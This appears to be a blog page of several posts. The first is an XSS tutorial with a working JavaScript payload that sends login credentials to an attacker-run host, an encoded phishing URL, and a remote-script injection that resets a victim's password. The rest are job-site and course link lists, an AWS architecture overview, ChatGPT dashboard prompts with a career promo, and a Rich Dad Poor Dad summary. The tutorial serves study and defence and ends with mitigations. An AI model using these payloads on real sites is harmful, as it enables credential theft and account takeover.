Monday, March 17, 2025

Password Stealing from HTTPS Login Page & CSRF Protection bypass using Reflected XSS

 

Password Stealing from HTTPS Login Page & CSRF Protection bypass using Reflected XSS


·

I have recently passed the JavaScript for Pentesters exam from Pentester Academy and I decided to write this short blog regarding Cross-Site Scripting and how an attacker can steal passwords from HTTPS web logins/registrations and how an attacker can bypass Cross-Site Request Forgery protection using XSS.

image by author

Content

  1. What is XSS?
  2. Types of XSS
  3. Case study: Password stealing with reflected XSS
  4. Case study: Cross-Site Request Forgery protection bypass with XSS
  5. Mitigations

1. What is XSS?

Cross-site scripting (XSS) is a code injection attack that allows an attacker to execute malicious JavaScript in another user’s browser.

The attacker does not directly target his victim. Instead, he exploits a vulnerability in a website that the victim visits, in order to get the website to deliver the malicious JavaScript for him. To the victim’s browser, the malicious JavaScript appears to be a legitimate part of the website, and the website has thus acted as an unintentional accomplice to the attacker.

2. Types of XSS

  • Reflected XSS
  • Persistent XSS
  • DOM-based XSS

Reflected XSS

A reflected XSS vulnerability happens when the user input from a URL or POST data is reflected on the page without being stored, thus allowing the attacker to inject malicious content. This means that an attacker has to send a crafted, malicious URL or post form to the victim to insert the payload, and the victim will click the link.

Persistent XSS

Stored Cross-site scripting vulnerabilities happen when the payload is saved, for example in a database, and then is executed when a user opens the page on the web application. Stored cross-site scripting is very dangerous for a number of reasons:

  • The payload is not visible for the browser’s XSS filter
  • Users might accidentally trigger the payload if they visit the affected page, while a crafted URL or specific form inputs would be required for exploiting reflected XSS.

DOM-based XSS

DOM Based XSS simply means an XSS vulnerability that appears in the DOM (Document Object Model) instead of part of the HTML. In reflective and persistent XSS attacks you can see the vulnerability payload in the response page, but in DOM-based XSS, the HTML source code and the response of the attack will be exactly the same. In other words, the payload cannot be found in the response. It can only be observed on runtime or by investigating the DOM of the page. Basically, the payload remains within the browser.

Cross-Site Scripting Attack vectors

  • Password Stealing from HTTP/HTTPS logins/registration web pages.
  • Remote Code Execution.
  • Keylogger Injection.
  • Cross-Site Request Forgery Protection Bypass.
  • Browser Hijacking.
  • Cookie Stealing — most common.

3. Password Stealing with Reflected XSS

So I have developed a simple website where users can register/login, have access to a simple form/comment page, and account settings where they can update bio and password.

Important note, there is HTTPS/TLS 1.3 implemented so the connection is encrypted.

image by author

As we can see below, the login page is vulnerable to reflected XSS and an attacker can inject simple JavaScript to execute a prompt function with value 1.

POC:

<script>prompt(1)</script>

image by author

An attacker can take advantage of this vulnerability and can steal usernames/passwords with reflected XSS.

There are a few steps on how to do it.

Important note:

In order to steal the password from the HTTPS login/registration page, an attacker should set up a server and domain with SSL/TLS certificate.

image by author

An attacker should set up a VPS with a webserver running so he can intercept victim credentials.

Malicious JavaScript payload should look like this:


//<script>;
function intercept() {
 
 var user = document.forms[0].elements[0].value;
 var pass = document.forms[0].elements[1].value;
 
 
 var xhr = new XMLHttpRequest();
 
 xhr.open("GET", "https://storage.appssec.co.uk?email="+user+"&password="+pass)
 xhr.send();
return false;
 }
 document.forms[0].onsubmit = intercept;
 
//</script>;
image by author

I have created an XML HTTP Request for persistence so the victim could try to access the login page multiple times.

Attack Scenario

An attacker finds a vulnerable web login/registration page and crafts a phishing email with XSS payload injected into the vulnerable web page and sends it to the victim.

Malicious URL:
https://appssec.co.uk/?email=%22%3E%3Cscript%3Efunction+intercept()+{%C2%A0%C2%A0var+user+%3D+document.forms[0].elements[0].value%3B%C2%A0var+pass+%3D+document.forms[0].elements[1].value%3B%C2%A0%C2%A0%C2%A0var+xhr+%3D+new+XMLHttpRequest()%3B%C2%A0%C2%A0xhr.open(%22GET%22%2C+%22https%3A%2F%2Fstorage.appsec.co.uk%3Femail%3D%22%2Buser%2B%22%26password%3D%22%2Bpass)%3B%C2%A0xhr.send()%3Breturn+false%3B%C2%A0}%C2%A0document.forms[0].onsubmit+%3D+intercept%3B%C2%A0%3C%2Fscript%3E%3Cspan+class%3D%22abs

This is how the website looks like when a user clicks in the URL from a phishing email. An attacker could make this script shorter to make it even less suspicious or simply can shorten the link.

Below is the web page presented to the user/victim.

image by author

Our victim types his email and password and an attacker can read it all in plaintext on his server:

image by author

4. CSRF Protection Bypass With XSS

This simple demo is not about how to perform CSRF (Cross-Site Request Forgery) attacks but how to bypass CSRF protection with XSS.

Example of a very basic account settings web page.

image by author

Important note:

CSRF protection/tokens are implemented in session, however, they don’t change with every single HTTP request. This could be considered a bad practice, but the web application is still protected against a traditional CSRF attack.

Anyway, let's take a look at how CSRF tokens work.

See below:

image by author

Anti-CSRF token

dde5be758cfcc608dc6dec6e7e6ff9b5fa7f4a5817170e408ea0dbf5f99f4fb7

image by author

Anti-CSRF token

809253697fdc46c0edabcb2e7972ba3ede4e90e3f8384cb04285b589f5b33cc9

So basically the token changes when the user logs in and out from the web page.

Important note:

Cross-Site Scripting could lead to CSRF if tokens don’t change with every single HTTP request.

First of all, an attacker should identify an injection and craft malicious JavaScript.

As we can see, there is an XSS vulnerability within account settings. An attacker can bypass this protection with JavaScript injection.

image by author

Malicious JavaScript payload that will update the password to = hacked

image by author
image by author

An attacker could send a malicious URL to the authenticated victim:

https://appssec.co.uk/profile.php?message=<script src=’https://storage.appssec.co.uk/attacker/script.js'></script>

JS script below is where the attacker keeps the payload:

<script src=’https://storage.appssec.co.uk/attacker/script.js'></script>

Now the victim clicks on the link and he loses access to his account and the attacker changes his password.

As we can see, it is possible to bypass CRSF tokens with Cross-Site Scripting making XSS equal to CSRF.

image by author

5. XSS Mitigations

The most important rules:

  1. Output Escaping
  2. Input Validation
  3. Content Security Policy
  4. HTTPFlag enabled — This is only against a cookie stealing XSS attack (However, there are some bypass techniques for example Cross-Site Tracing Attack)

Output Escaping examples:

For untrusted string in the context of HTML, do HTML escape, for example:

<h1> Welcome html_escape(untrusted string) </html>

For untrusted string in the context of HTML attribute, do HTML escape and always quote your attributes, either ( ‘ or “ ) never use backticks ( ` ).

Example:

<img src=”x” alt=”html_escape(untrusted string)”>

For untrusted string in the context of Event Handler Attribute, do JavaScript Escape first and then perform HTML escape since the Browser performs HTML attribute decode first.

JavaScript string decode. For untrusted string in the context of JavaScript, do JavaScript String Escape. And always quote your attributes, either ( ‘ or “ ) never use backticks ( ` ).

Example:

image by author

Input Validation

All the untrusted data should be validated against the web application’s logic before processing or moving it into storage. Input validation can prevent XSS in the initial attempt itself.

Content Security Policy

This header is one of the most effective solutions for preventing XSS. It allows us to enforce policies on loading objects and executing them from URLs or contexts.

OWASP Best Practices against XSS

Saturday, January 25, 2025

Remote Work Opportunities and Boost Your Skills with Free Courses

 Remote Work Opportunities


Here’s a curated list of 25 top websites offering remote jobs with USD payouts:


1. Jobspresso (jobspresso.co)

2. Virtual Vocations (virtualvocations.com)

3. Stack Overflow Jobs (stackoverflow.com/jobs)

4. Outsourcely (outsourcely.com)

5. Toptal (toptal.com)

6. Skip The Drive (skipthechive.com)

7. NoDesk (nodesk.co)

8. RemoteHabits (remotehabits.com)

9. Remotive (remotive.com)

10. Remote4Me (remote4me.com)

11. Pangian (pangian.com)

12. Remotees (remotees.com)

13. Europe Remotely (europeremotely.com)

14. Remote OK Europe (remoteok.io/europe)

15. Remote of Asia (remoteok.io/asia)

16. FlexJobs (flexjobs.com)

17. Remote.co (remote.co)

18. We Work Remotely (weworkremotely.com)

19. Remote OK (remoteok.com)

20. AngelList (angel.co)

21. LinkedIn (linkedin.com)

22. Upwork (upwork.com)

23. Freelancer (freelancer.com)

24. Working Nomads (workingnomads.com)

25. SimplyHired (simplyhired.com)


******************************************************************

๐‡๐ž๐ซ๐ž ๐š๐ซ๐ž ๐ญ๐ก๐ž ๐ญ๐จ๐ฉ ๐…๐‘๐„๐„ ๐€๐ˆ ๐œ๐จ๐ฎ๐ซ๐ฌ๐ž๐ฌ ๐ญ๐จ ๐ ๐ž๐ญ ๐ฒ๐จ๐ฎ ๐ฆ๐š๐ฌ๐ฌ๐ข๐ฏ๐ž๐ฅ๐ฒ ๐š๐ก๐ž๐š๐: 

 

 ๐Ÿ”— Links are included. 

 ๐Ÿ”– Save for later.

 

๐Ÿ”ƒ7000+ Courses Learn without limits: https://lnkd.in/gfYC9rxB


Google Prompting Essentials

 ๐Ÿ”— https://lnkd.in/gghsW2kP


Programming with Generative AI

 ๐Ÿ”— https://lnkd.in/gAnKXgzF


Foundations of AI and Machine Learning

 ๐Ÿ”— https://lnkd.in/gyEP56i9


IBM AI Developer Professional Certificate

๐Ÿ”—https://lnkd.in/gSAxDbxv


1️⃣ ChatGPT for beginners

 ๐Ÿ”— https://lnkd.in/gRw5dcCG


2️⃣ Generative AI for Project Managers

 ๐Ÿ”—https://lnkd.in/gUNDFU7C

 

3️⃣ Generative AI for Product Managers

 ๐Ÿ”—https://lnkd.in/g5aX2Qbr

 

4️⃣ Navigating Generative AI for Leaders

 ๐Ÿ”— https://lnkd.in/gkQ_y7ZK


5️⃣ Generative AI for Business Consultants

 ๐Ÿ”— https://lnkd.in/gQj4czyE


6️⃣ Generative AI for Data Scientists

 ๐Ÿ”— https://lnkd.in/gPUcZRRq


7️⃣ Generative AI for Data Analysts

 ๐Ÿ”— https://lnkd.in/g-mCEN64


8️⃣ Generative AI for Software Developers

 ๐Ÿ”— https://lnkd.in/gYfBi8hM


9️⃣ Generative AI for Cybersecurity Professionals

 ๐Ÿ”— https://lnkd.in/gyicuxb5


๐Ÿ”Ÿ Generative AI for Data Engineers

 ๐Ÿ”— https://lnkd.in/gTBzGWB2


******************************************************************


Boost Your Skills with Courses from Google, IBM, and Microsoft 


๐Ÿ“• 7000+ Course Free Access: https://lnkd.in/dzCcMS7n


Google Data Analytics

๐Ÿ‘‰ https://lnkd.in/gv4whkFn


Advanced Google Analytics

๐Ÿ‘‰ https://lnkd.in/gnswTs7t


Google Project Management

๐Ÿ‘‰ https://lnkd.in/geUMD3K9


1. IBM Project Manager

๐Ÿ”—https://lnkd.in/gTaaHHPQ


3. IBM Data Analyst

๐Ÿ”—https://lnkd.in/gMingmB2


4. IBM Data Analytics with Excel and R

๐Ÿ”—https://lnkd.in/gejqD9ry


5. IBM Data Science

๐Ÿ”—https://lnkd.in/guyY26Ye


6. IBM Data Engineering

๐Ÿ”—https://lnkd.in/geFjWDCj


3-Learn SQL Basics for Data Science: 

๐ŸŒ€https://lnkd.in/gKcT3SdP


4-Excel for Business : 

๐ŸŒ€https://lnkd.in/geHAfHAK


5-Python for Everybody :

๐ŸŒ€https://lnkd.in/gUga4caw


6. Microsoft Cybersecurity Analyst Professional

 ๐Ÿ‘‰ https://lnkd.in/g_WYd7iw


7. Microsoft Power BI Data Analyst Professional

 ๐Ÿ‘‰ https://lnkd.in/gi2FQkf7



Thursday, January 23, 2025

Reference AWS 3-tier Application Network Architecture

 While looking for reference here is a Typical 3-tier Web application architecture on AWS. This is the orchestration of how it utilizes AWS cloud-native technologies and infrastructure.


There are additional considerations not showing in the classic diagram but covering below- 


User requests are routed through a DNS service, Amazon Route 53, to resolve domain names and route traffic to the appropriate endpoints.


Load Balancers, like Elastic Load Balancer (ELB) to distribute incoming traffic across multiple application instances. Integrate reverse proxies like Nginx or AWS ALB to improve routing, caching, and SSL termination.


Secure and scalable Network Architecture 

Use Amazon VPC with public and private subnets, enforce Security Groups(SG) and NACLs to control traffic flow.


High Availability 

Deploy across multiple Availability Zones (AZs) with Elastic Load Balancers (ELB) and auto-scaling groups for redundancy and scalability.


Content Delivery Network (CDN)

Speed up content delivery by caching assets closer to users using a CDN like Amazon CloudFront. This reduces latency and improves global performance for static and dynamic web content.


APIs for Communication

Implement RESTful API such as Amazon API Gateway for seamless communication between the front end and backend services. Ensure APIs are designed for scalability and monitored for performance.


Backend and Databases

Choose a database solution that fits your use case, such as Amazon RDS for relational databases or Amazon DynamoDB for NoSQL. Use distributed caching like Amazon ElastiCache to optimize query response times.


Job Queues for Background Tasks

Offload time-consuming processes like batch jobs or video processing to a queue service such as Amazon SQS (Simple Queue Service), and use AWS Lambda or EC2 instances as workers.


Monitoring and Logging

Use tools like Amazon CloudWatch for metrics, logs, and alerts. Combine it with services like AWS X-Ray for distributed tracing to identify bottlenecks and latency issues.


Alerting Systems

Configure automated alerts with Amazon CloudWatch Alarms or integrate with tools like Datadog, Splunk or Slack to quickly notify sysadmins, engineers of issues such as performance, database latency, utilization threshold, network and server failures etc. 


Security and Data protection

Consider leveraging AWS security services, prioritize robust and secure design for your AWS environment. You can utilize services such as AWS Shield, GuardDuty, Security Hub, KMS, S3 Encryption, and Secrets Manager. Ensure data is encrypted both at rest and in transit, and adhere to security best practices.




#cloud #AWS #architecture #wellarchitected #cloudtransformation, #systemdesign #AI

Friday, January 3, 2025

How I Built a ONE CLICK Excel Dashboard with ChatGPT ๐Ÿ˜Ž And Kubernetes DevOps Home Projects

 


 Dec 11, 2024  #ExcelDashboard #ExcelSkills #ExcelForBeginners

๐Ÿ‘‰ Prompt 1

This is the structure of my sales data in JSON format. Understand the structure and suggest five key data visualization metrics that would be the best fit to create an interactive sales dashboard. Also explain why we should use each one?


๐Ÿ‘‰ Prompt 2

Now, I want you to create an interactive sales performance dashboard with the five key visualizations using HTML and JavaScript. Use the latest version of Plotly.js CDN and include an upload feature so that we can upload the JSON file. It should generate the dashboard based on the uploaded data.

Note: I need to upload the sales data from my local computer, and it should create the dashboard based on that data.


๐Ÿ‘‰ Prompt 3

Provide this as an HTML downloadable file?


๐Ÿ‘‰ Prompt 4

From the dashboard you created, change the style to glass morphism. Then, adjust the padding width of the charts to 40%, and change the background colour to icy blue. Can you also provide this as a downloadable HTML file?


❤️  Gravitywrite ➜ https://gravitywrite.com/


๐Ÿ’ก Webspacekit ➜ https://go.webspacekit.com/Exceldashb...


๐Ÿ”ฅ AI Website Builder ➜ Coming soon


๐Ÿ“Œ Get New Video Updates ➜ https://whatsapp.com/channel/


https://www.youtube.com/watch?v=jmgdf343kcw&ab_channel=WebsiteLearners 

----


Want to become a highly-paid DevOps engineer? Go here: https://www.skool.com/kubecraft

In this video I'll give you a full tour of all the services that are running in my Kubernetes homelab. You can learn Kubernetes by running very cheap hardware. Running Kubernetes at home has been the NUMBER ONE hack that consistently lands me new job offers. 

If you want to supercharge your career, start a Kubernetes Homelab today.

Kubernetes is only growing. ChatGPT runs on Kubernetes, Netflix runs on Kubernetes, Spotify runs on Kubernetes. Any serious production workload utilizes Kubernetes to some degree, and you are putting your career in danger if you don't learn this technology.

If you're new to my channel, I'm Mischa van den Burg. I help ambitious professionals break into tech and scale their DevOps careers. Our community brings together over 400 paying members who are transforming their careers in tech.

How I got here...

28 yrs old: Left my nursing career to start from scratch in tech
29 yrs old: Taught myself DevOps while working full-time
30 yrs old: Landed my first junior DevOps position in just 6 months
31 yrs old: Doubled my salary by securing my first consulting role
32 yrs old: Built an advanced Kubernetes homelab, started sharing online
33 yrs old: Became a Microsoft MVP, grew to 34,000+ YouTube subscribers
34 yrs old: Built the fastest-growing DevOps community on Skool
Today: Running multiple 6-figure DevOps contracts while teaching others

Our community now has:

• 380+ paying members
• 40+ hours of premium courses
• Succesful career changers from related and unrelated fields. 
• Members doubling their salaries in less than 12 months

Want proof this works? Google me. 
Check my GitHub (400+ stars). 
Look up my Microsoft MVP status.
Thousands of 5 star reviews on several platforms.

To all the career changers and ambitious engineers: Your past doesn't determine your future. I went from nurse to highly-paid DevOps consultant in 18 months. The worse the struggle, the better the comeback.

You either level up your career or get an epic story trying. Both mean you win.

Want FREE DevOps courses? Go here: https://www.skool.com/mischa

Keep building,
Mischa

FULL DISCLOSURE
I create content to build trust with ambitious professionals. The best ones join our premium community, where we help them accelerate their careers. Simple as that.

Thursday, November 14, 2024

WISDOM FROM RICH DAD - Synopsis

 

WISDOM FROM RICH DAD.

From the book Rich DAD Poor DAD, by Robert Kiyosaki


1. Don’t work for money:

Rich don’t work for money. If you work for money, your mind will start thinking like an employee. If you start thinking differently like a rich man, you will see things differently. Rich works on their asset column, every dollar in their asset column is their hard-working employee.


2. Don’t be controlled by emotions:

Some people’s lives are always controlled by the two emotions of fear and greed. Fear keeps people in this trap of working hard, earning money, working hard, earning money, and hoping that it will reduce their fear. Secondly, most of us have the greed to get rich quickly. Yes, many people become rich overnight, but they have no financial education. So educate yourself and don’t be greedy or fearful.


3. Acquire assets:

Don’t buy liabilities on your way to financial freedom. People buy liabilities and think these are assets, but they are not. Many people buy luxuries first, like big cars, heavy bikes, or big houses to live in. But the rich buy assets and their assets buy luxuries. The rich buy houses and rent them, and they pay them for their Lamborghinis. The poor or middle class buy luxuries first, and the rich buy luxuries last.


4. Remember the KISS principle:

KISS stands for keeping it simple, and stupid. Don’t be too overloaded your mind when you are going to start your way to financial freedom. Things are simple and keep them simple. The simple thing to remember is assets put money in pocket and liabilities take money out of pocket. Always buy assets so they put money into your pocket.


5. Know the difference between assets and liabilities:


Assets are anything that puts money in your pocket, like stocks, bonds, real estate, mutual funds, rental properties, etc. Liabilities are anything that pulls money out of your pocket, like your house, your car, debt, etc. People think their home is their biggest asset, but it is not. A house is an asset when it generates money like when you rent a house, it generates money, and when your life in that house becomes a liability.


6. Don’t be a financial illiterate:

A person can be highly educated and become successful in their profession, but financially illiterate. Financial education is very important for any individual. Our schools and colleges did not teach us financial education. Many financial problems arise as a result of a lack of financial education. Start learning financial education and I suggest you read the book "Rich Dad, Poor Dad".


7. Increase your Wealth:

Wealth is defined as a person's ability to survive for a certain number of days in the future, or how long they could survive if they stopped working today. Consider your wealth and whether you would survive if you stopped working today for a year.


8. Mind your own business:

If you have a job, keep your job and start a part-time business and work it. Use the time that you spend on your iPhone, parties, or any other activity, to build your business. Never leave your job until you build your own business. Don’t struggle all of your life for someone else. Start your own business and grow your business.


9. Train your mind:

Your biggest asset is your mind. Many individuals watch opportunities with their eyes, but if you train your mind, you can see opportunities with your mind. If you train your mind well, it can create enormous wealth.


10. Learn technical skills:

Your financial IQ will be raised by learning these four technical skills:

Accounting is defined as the ability to read numbers. If you want to build an empire, then this is an essential skill. By learning this skill, you will be able to understand the strengths and weaknesses of a business.

Investing: It is the science of making money.

Understanding markets: It is the science of supply and demand.


The Law: A person who knows the law of tax advantages and corporations can get rich faster than others.


11. Find opportunities that everyone else missed:

"Great opportunities are not seen with your eyes. They are seen with your mind. "

You can see many more opportunities with your mind than many people miss with their eyes. It is not rocket science, you just need to train your mind.


12. Learn to manage risk:

Investment is not risky, not knowing the investment is risky. If you want to reduce the risk, then increase your knowledge. This knowledge will not come by going to college, it will come by reading books or sitting with people who know the investment.


13. Learn management:

The main management skills are:

Management of cash flow

Management of system

Management of people

Sales and marketing are the most essential skills. The ability to sell and the ability to communicate with another human being, be it a customer, employee, fiancรฉ, friend, or child, is a basic skill of personal success.


14. Manage fear:

“Failure inspires winners. Failure defeats losers.”

Everyone has a fear of losing money.


#ctto #CttoRepost 

#Cashflow

#inspirational #foryoupageใ‚ท 

#follower #motivational